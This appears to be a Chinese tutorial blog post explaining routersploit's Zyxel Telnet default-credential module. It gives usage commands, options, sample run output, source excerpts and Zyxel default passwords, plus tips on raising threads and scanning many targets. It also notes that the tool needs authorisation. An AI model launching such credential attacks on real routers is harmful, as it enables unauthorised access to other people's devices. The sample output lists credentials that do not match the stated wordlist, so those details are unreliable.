routersploit 实战使用 telnet_default_creds 模块对 Zyxel 路由器 Telnet 服务执行默认凭据字典攻击【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit导读creds/routers/zyxel/telnet_default_creds是 routersploit 中面向 Zyxel 路由器 Telnet 服务的默认凭据检测模块它会用一组内置的用户名:密码组合对目标设备的 Telnet 服务进行字典式登录尝试一旦命中即把有效凭据展示给用户。本文以该模块为核心完整讲解其交互式操作流程、全部可配置参数、典型运行输出并结合仓库源码剖析其继承关系、Telnet 登录判定原理与多线程实现帮助读者快速上手并理解其工作机制。模块定位与功能概述根据 telnet_default_creds.md 文档该模块的核心职责是Module performs dictionary attack with default credentials against Zyxel Router Telnet service. If valid credentials are found, they are displayed to the user.即对 Zyxel 路由器的 Telnet 服务执行默认凭据字典攻击并在发现有效凭据后直接展示给用户。它对应的源码位于 telnet_default_creds.py模块元信息声明其适用设备为 Zyxel Router作者为 Marcin Burythreat9。值得注意的是该模块本身非常精简——它只是子类化了框架内通用的 Telnet 默认凭据模块通过重写defaults词表来定制 Zyxel 特有的默认口令集合from routersploit.core.exploit import * from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault class Exploit(TelnetDefault): __info__ { name: Zyxel Router Default Telnet Creds, description: Module performs dictionary attack against Zyxel Router Telnet service. If valid credentials are found, they are displayed to the user., authors: (Marcin Bury marcin[at]threat9.com,), devices: (Zyxel Router,), } target OptIP(, Target IPv4, IPv6 address or file with ip:port (file://)) port OptPort(23, Target Telnet port) threads OptInteger(1, Number of threads) defaults OptWordlist(admin:admin,admin:1234,admin:user,admin:Zyxel*2012*, User:Pass or file with default credentials (file://))这一设计在 creds 模块族中很常见通用攻击逻辑收敛在 generic/telnet_default.py各厂商模块Zyxel、D-Link、TP-Link 等只需声明自己的默认凭据表。快速上手标准验证流程依据官方文档的 Verification Steps在本地环境执行以下五步即可完成一次攻击启动框架./rsf.py加载模块use creds/routers/zyxel/telnet_default_creds设置目标set target [TargetIP]执行攻击run若发现有效凭据将直接展示给用户对应命令序列如下rsf use creds/routers/zyxel/telnet_default_creds rsf (Zyxel Router Default Telnet Creds) set target 192.168.1.1 [] target 192.168.1.1 rsf (Zyxel Router Default Telnet Creds) run模块参数详解加载模块后可通过show options查看全部可设置项。下表汇总了该模块含从父类继承的所有参数及其约束参数类型默认值说明取值约束targetOptIP空目标 IPv4/IPv6 地址或file://指向的目标列表文件必须为合法 IPv4/IPv6见 utils.py 的正则校验或file://路径portOptPort23目标 Telnet 端口整数范围0 port 65535见 option.pythreadsOptInteger1并发线程数任意可转 int 的值含十六进制见 option.pydefaultsOptWordlistadmin:admin,admin:1234,admin:user,admin:Zyxel*2012*默认凭据词表逗号分隔的user:pass列表或file://指向的词表文件每行一条user:passstop_on_successOptBooltrue首次认证成功后是否停止攻击仅接受true/false字符串见 option.pyverbosityOptBooltrue是否输出每次认证尝试的明细仅接受true/false其中 Zyxel 专属默认凭据为四组admin:admin、admin:1234、admin:user、admin:Zyxel*2012*。这一结论同时被单元测试固化在 test_telnet_default_creds.py 中断言exploit.defaults [admin:admin, admin:1234, admin:user, admin:Zyxel*2012*]。defaults还支持file://语法引用外部词表如set defaults file:///path/to/zyxel.txt。底层实现见 OptWordlist读取时若以file://开头则逐行读取并去除首尾空白否则按逗号切分为列表设置时会校验文件存在性。运行场景与输出解读官方文档给出了一个完整的运行示例一次典型的攻击输出如下rsf (Zyxel Router Default Telnet Creds) run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: admin Password: admin [-] Telnet Authentication Failed - Username: 1234 Password: 1234 [-] Telnet Authentication Failed - Username: root Password: 12345 [-] Telnet Authentication Failed - Username: root Password: root [] Telnet Authentication Successful - Username: user Password: user [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user输出可以分成四个阶段理解连接探测Target exposes Telnet service表明模块首先确认目标 23 端口确实开放 Telnet字典攻击Starting default credentials attack against Telnet service后逐条尝试凭据失败的以[-] Telnet Authentication Failed输出成功的以[] Telnet Authentication Successful输出执行统计Elapsed time给出总耗时本例单线程执行约 5.4 秒结果汇总Credentials found!后以表格形式列出命中目标包含 Target / Port / Service / Username / Password 五列。源码级原理一次攻击的完整调用链继承链与协议声明该模块的继承链为Exploit(Zyxel) → Exploit(TelnetDefault) → TelnetClient → Exploit。在 telnet_client.py 中TelnetClient将target_protocol声明为Protocol.TELNET因此结果表格中的 Service 列为telnet。attack 流程核心攻击逻辑在 generic/telnet_default.pymulti def attack(self): if not self.check(): return print_status(Starting default credentials attack against Telnet service) data LockedIterator(self.defaults) self.run_threads(self.threads, self.target_function, data) if self.credentials: print_success(Credentials found!) headers (Target, Port, Service, Username, Password) print_table(headers, *self.credentials) else: print_error(Credentials not found)流程为check()探测服务 → 用LockedIterator包装词表线程安全迭代器见 exploit.py→run_threads启动指定数量的 worker 线程 → 汇总命中结果并打印表格。每个 worker 线程执行target_functiontelnet_default.py从迭代器取出user:pass按第一个冒号切分调用telnet_client.login(username, password, retries3)若成功且stop_on_successTrue则通过running.clear()通知其他线程停止。Telnet 登录判定登录细节位于 TelnetCli.login客户端依次等待Login:/login:/Username:/username:提示符并回显用户名等待Password:/password:提示符并回显密码然后检测响应中是否出现Incorrect/incorrect(i, obj, res) self.telnet_client.expect([bIncorrect, bincorrect], 5) if i -1 and any([x in res for x in [b#, b$, b]]) or len(res) 500: print_success(...) # 认证成功 return True else: print_error(...) # 认证失败 break判定规则若未匹配到 Incorrect 且响应中出现 shell 提示符#、$、或响应超过 500 字节代码注释解释这是为了兼容 MikroTik 等返回大横幅的设备则判定认证成功。连接超时由模块常量TELNET_TIMEOUT 30.0控制telnet_client.py。多线程与批量目标多线程run_threadsexploit.py基于threading.Event创建 N 个thread-N命名的线程支持CtrlC中断清空事件后各线程退出并输出总耗时。文档示例中的thread-0 thread is starting...即源于此。批量目标attack上方的multi装饰器exploit.py支持target使用file://指向多目标文件每行ip:port逐个目标执行攻击文件中未指定端口时回退到模块默认端口。高级用法自定义凭据词表内置四组 Zyxel 凭据不够用时可以指向自定义词表文件rsf (Zyxel Router Default Telnet Creds) set defaults file:///tmp/zyxel_creds.txt文件每行一条user:pass。框架同时内置了 653 行通用默认凭据库 defaults.txt通用模块非厂商定制版默认即使用该词表。提升并发与关闭明细输出rsf (Zyxel Router Default Telnet Creds) set threads 8 rsf (Zyxel Router Default Telnet Creds) set verbosity false rsf (Zyxel Router Default Telnet Creds) run多线程可显著缩短字典遍历耗时verbosity false则只保留关键结果输出。供扫描器/自动利用调用的静默检查父类还实现了check_default()telnet_default.py它被mute装饰以抑制输出返回命中凭据列表或None。该接口可供creds扫描器或 autopwn 等自动化链路复用无需经过交互式终端。测试与验证仓库为每个 creds 模块配套了 pytest 用例test_telnet_default_creds.py 针对本模块验证了默认参数target 为空、port23、threads1、四组 Zyxel 默认凭据、stop_on_successTrue、verbosityTrue对测试用 Telnet 服务check()返回 Truecheck_default()返回非空结果即能命中测试服务run()正常执行完毕。运行方式pytest tests/creds/routers/zyxel/test_telnet_default_creds.py测试夹具generic_target定义于 conftest.py用于在测试环境中起一个真实的 Telnet 服务供模块攻击。注意事项与使用边界合法授权默认凭据探测属于攻击性安全操作仅应在获得授权的前提下对自有或受托测试的目标执行单线程默认模块默认threads1与通用模块默认 8 线程不同网络较差时可适当调高并发但过高线程数可能触发目标设备限流或日志告警判定依赖特征登录成功与否依赖 Telnet 横幅中的提示符特征与 Incorrect 关键字个别设备若使用非标准提示语可能导致误判凭据集合有限四组 Zyxel 默认凭据仅为常见出厂组合不代表覆盖所有型号与固件版本命中失败时可通过自定义词表扩展。【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
企业数字化 ERP 产品动态
相关推荐
2026最新避坑指南:别再习惯假装性能达标,3步揪出隐形瓶颈 2026最新避坑指南:别再习惯假装性能达标,3步揪出隐形瓶颈 你是不是也遇到过这种情况:从网上复制了一段看起来很完美的并发处理代码,本地跑测试数据没问题,一上线真实流量,CPU直接飙红,响应时间从50ms变成2秒?这时候你第一反应往往是“环… · 2026/9/23 3:16:01
开源工具统一管理Cursor、Claude Code与Antigravity的Skills 同时用 Cursor、Claude Code 和 Antigravity,你还在手动拷 Skills 吗?这款开源神器拯救强迫症!说实话,我身边越来越多同事开始同时装两三个 AI 编程工具了。Cursor 写前端交互顺手,Claude Code 处理长链路重构靠谱&… · 2026/9/23 3:15:55
面试被问懵?行拆开念什么完整示例实战拆解 面试被问懵?行拆开念什么完整示例实战拆解 面试时面试官突然问“字符串行拆分底层逻辑”,你脑子一片空白?别慌,这题考的是对字符流处理的细节把控。今天直接上 完整示例 ,用 Python… · 2026/9/23 3:15:55
高分屏下飞秋字体小怎样解决?DPI缩放与兼容性设置详解 说实话,我第一次在高分屏电脑上打开飞秋的时候,还以为电脑出了问题。图标小得跟米粒似的,字体更是勉强能辨认,凑近了看眼睛酸得不行。后来才知道,这不是电脑坏了,也不是飞秋坏了,而是高分屏和这… · 2026/9/23 4:33:59
留学生落户上海最佳实践:5步搞定代码架构与项目落地 留学生落户上海最佳实践:5步搞定代码架构与项目落地 刚啃完《深入理解计算机系统》或刷完LeetCode,你是不是也卡在这个死循环里?语法背得滚瓜烂熟,正则表达式张口就来,但一提到“怎么搭一个能跑起来的项目”,脑子就一片空白。别慌,这不是你笨… · 2026/9/23 4:33:59
不造网关,自建适配端点:Java如何无缝兼容OpenAI与Anthropic协议 做对接大模型 API 这种活儿,干多了就会发现,团队里最容易出现的争论不是“用哪个模型”,而是“怎么让所有模型长得一样”。我最近一个项目是典型的 Java 后端:内部推理服务暴露的是 OpenAI 兼容接口,但业务方希望同时支… · 2026/9/23 4:33:59
Qoder平替Codex实操指南:从安装到Agent项目调试全攻略 最近后台好多人在问同一个问题:Qoder到底能不能平替Codex?尤其是看到OpenAI那套Codex CLI、ChatGPT里的编码Agent,功能确实强,但门槛也摆在那里:订阅贵、环境折腾、对国内开发者不够友好。我自己也是折腾了一圈之后转到… · 2026/9/23 4:33:52
Claude Code 100条实用指令:从会话控制到代码审查的完整指南 我几乎一整天都泡在终端里,最近这几个月 Claude Code 基本成了我写代码的默认入口。每天敲得最多的不是 git 也不是 vim,而是一串串发给 Claude 的指令。用得时间长了,我把平时高频使用的指令慢慢沉淀成一份清单,前后整理出 100 条… · 2026/9/23 4:33:52
3招搞定手机怎么下载微信面试难题实战项目解析 3招搞定手机怎么下载微信面试难题实战项目解析 面试被问“手机怎么下载微信”背后的原理,90%的人答不上来。别笑,这看似弱智的问题,实则是考察你对移动应用分发机制、安全校验及网络协议理解的试金石。我带过不少校招新人,他们背了八股文,却连一个A… · 2026/9/23 0:00:03
你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型 你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型 面试被问“高并发下如何保证消息不丢失”,你张口就是“用Redis”,结果面试官追问“如果Redis宕机了怎么办”,你瞬间卡壳。这种场景太常见了,很多新手在背八股文时,只记住了技术名词… · 2026/9/23 0:00:29